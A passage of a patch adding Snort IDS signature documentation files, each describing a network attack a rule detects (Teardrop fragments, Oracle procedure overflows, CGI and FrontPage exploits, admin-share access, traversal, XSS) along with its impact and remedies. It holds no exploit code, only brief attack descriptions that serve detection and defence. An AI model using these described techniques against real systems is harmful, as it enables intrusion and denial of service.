+traffic that may constitute an attack. Specifically an asn.1 oversized
+item, indicating a possible overflow attempt was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the asn1 pre-processor detects network
+traffic that may consititute an attack.
+
+This may indicate an attempt to overflow a fixed length buffer in an
+application using the asn1 libraries.
+
+More information on this event can be found in the individual
+pre-processor documentation README.asn1 in the docs directory of the
+snort source. Detailed instructions and examples on how to tune and use
+the pre-processor can also be found in the same document.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ASN1 Information Site:
+http://asn1.elibel.tm.fr/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/809.txt
+++ snort-2.8.5.2/doc/signatures/809.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+809
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2303.txt
+++ snort-2.8.5.2/doc/signatures/2303.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2303
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application Proxy2.de Advanced Poll 2.0.2
+running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application Proxy2.de Advanced Poll
+2.0.2. This application does not perform stringent checks when handling
+user input, this may lead to the attacker being able to execute PHP
+code, include php files and possibly retrieve sensitive files from the
+server running the application.
+
+--
+Affected Systems:
+	All systems running Proxy2.de Advanced Poll 2.0.2
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/270.txt
+++ snort-2.8.5.2/doc/signatures/270.txt
@@ -0,0 +1,77 @@
+Rule:
+
+--
+Sid:
+270
+
+--
+Summary:
+This event is generated when an attempt is made to issue a Teardrop 
+Denial of Service (DoS) attack.
+
+--
+Impact:
+Denial of Service.
+
+--
+Detailed Information:
+Teardrop exploits a vulnerability in some TCP/IP stack implementations.
+
+The program sends a specially crafted fragmented packet where the first
+fragment has offset 0 and data length N and the second fragment has an
+offset less than N (The fragments overlap).  The resulting packet cannot
+be properly assembled.
+
+Systems may hang or crash.
+
+--
+Affected Systems:
+	Windows 95
+	Windows NT 4.0 SP3 and earlier
+	HP HPUX 10.34 and earlier
+	Linux kernels 2.0.31 and earlier
+	FreeBSD 3.0 prior to October 27, 1998
+
+--
+Attack Scenarios:
+The can be done remotely against any open UDP port using a spoofed
+address.
+
+--
+Ease of Attack:
+Simple. Tools are readily available and require little knowledge on the 
+part of the attacker.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Patches are available from all affected vendors.  Newer versions from
+each vendor are not vulnerable.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexanders@mccd.edu>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/124
+
+CERT:
+http://www.cert.org/advisories/CA-1997-28.html
+
+FreeBSD:
+ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/old/FreeBSD-SA-98:08.fragment.asc
+
+--
--- snort-2.8.5.2.orig/doc/signatures/955.txt
+++ snort-2.8.5.2/doc/signatures/955.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+955
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	Systems using Microsoft FrontPage Server Extensions 98
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q188/2/57.ASP&NoWebContent=1&NoWebContent=1
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2783.txt
+++ snort-2.8.5.2/doc/signatures/2783.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2783
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_unique_resolution
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2953.txt
+++ snort-2.8.5.2/doc/signatures/2953.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2953
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to
+private resources using Samba.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to use Samba to gain
+access to private or administrative shares on a host.
+
+--
+Affected Systems:
+	All systems using Samba for file sharing.
+	All systems using file and print sharing for Windows.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+direct access to Windows adminsitrative shares.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2059.txt
+++ snort-2.8.5.2/doc/signatures/2059.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2059
+
+--
+Summary:
+MsmMask.exe
+
+--
+Impact:
+Information disclosure
+
+--
+Detailed Information:
+Versions of MondoSearch prior to 4.4.5156 use a vulnerable version of a 
+cgi script named msmmask.exe. This script allows the attacker to view 
+the source of any file in a webservers root directory.
+
+vulnerabilities using the security scanner nessus.
+
+--
+Affected Systems:
+MondoSearch versions prior to 4.4.5156.
+
+--
+Attack Scenarios:
+The attacker needs to access the msmmask.exe script and request a file 
+in the servers web directory.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade the application to at least version 4.4.5156 or higher.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=11163
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1569.txt
+++ snort-2.8.5.2/doc/signatures/1569.txt
@@ -0,0 +1,68 @@
+Rule:  
+
+--
+Sid:
+1569
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+	AHG EZshopper v3.0 and v2.0 for UNIX
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+NSFocus:
+http://www.nsfocus.com/english/homepage/research/0009.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2652.txt
+++ snort-2.8.5.2/doc/signatures/2652.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2652
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in many
+useful tasks.  The "offline_og.begin_load" procedure is used for
+offline instantiation of master groups.  This procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "gname" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck632.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1386.txt
+++ snort-2.8.5.2/doc/signatures/1386.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1386
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1590.txt
+++ snort-2.8.5.2/doc/signatures/1590.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1590
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1371.txt
+++ snort-2.8.5.2/doc/signatures/1371.txt
@@ -0,0 +1,49 @@
+Rule:
+
+--
+Sid:
+1371
+
+--
+Summary:
+This event is generated when an attempt is made to access the message of the day (motd) via the web
+
+--
+Impact:
+Attempt to gain information about the system on a webserver
+
+--
+Detailed Information:
+This is an attempt to gain intelligence about the system hosting a webserver. The motd is used to display system information on a UNIX or Linux based system. The attacker could possibly gain information needed for other attacks on the host.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains '/etc/motd' in the URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. This file may also be requested on a command line should the attacker gain access to the machine. Making the file read only by the superuser on the system will disallow viewing of the file by other users.
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/533.txt
+++ snort-2.8.5.2/doc/signatures/533.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+533
+
+--
+Summary:
+This event is generated when an attempt is made to access the C$ default
+administrative share of a Windows host.
+
+--
+Impact:
+Serious. Possible administrator access to the host. Information 
+disclosure.
+
+--
+Detailed Information:
+By default, Windows hosts have default administrative shares of the 
+local hard drives using the format %DRIVE_LETTER% + $. Anybody with 
+administrative rights can remotely access the share.
+
+--
+Affected Systems:
+	Windows hosts.
+
+--
+Attack Scenarios:
+An attacker may be attempting to access files located on the C drive of 
+the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Netbios access from external networks (tcp port 139).
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS339
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;100517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1156.txt
+++ snort-2.8.5.2/doc/signatures/1156.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1156
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2818.txt
+++ snort-2.8.5.2/doc/signatures/2818.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2818
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_columns_to_flavor
+. This procedure is included in
+sys.dbms_repcat_fla_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000558.txt
+++ snort-2.8.5.2/doc/signatures/100000558.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000558
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "VebiMiau" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "pag" parameter in the "messages.php" script 
+used by the "VebiMiau" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using VebiMiau
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2853.txt
+++ snort-2.8.5.2/doc/signatures/2853.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2853
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure generate_replication_trigger
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2421.txt
+++ snort-2.8.5.2/doc/signatures/2421.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2421
+
+--
+Summary:
+This event is generated when an attempt is made to download a file that
+may be an attack vector for a known exploit to a vulnerability in Real 
+Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1577.txt
+++ snort-2.8.5.2/doc/signatures/1577.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1577
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/532.txt
+++ snort-2.8.5.2/doc/signatures/532.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+532
+
+--
+Summary:
+This event is generated when an attempt is made to access an administrative share on a Windows machine.
+
+--
+Impact:
+Serious. Possible administrator access on the victim machine. 
+
+--
+Detailed Information:
+This rule  generates an event when the hidden Netbios share Admin$, which is the Winnt directory, is accessed via SMB. 
+
+This is a poor security practice or an indication that a machine is being accessed remotely. 
+
+--
+Affected Systems:
+	Windows 9x
+	Windows 2000
+	Windows XP
+
+--
+Attack Scenario:
+This can be accessed from GUI "map network drive" remotely 
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use a packet filtering firewall to disallow Netbios access from the unprotected network.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Jake Babbin 
+
+--
+References:
+
+arachnids 340 
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3182.txt
+++ snort-2.8.5.2/doc/signatures/3182.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3182
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
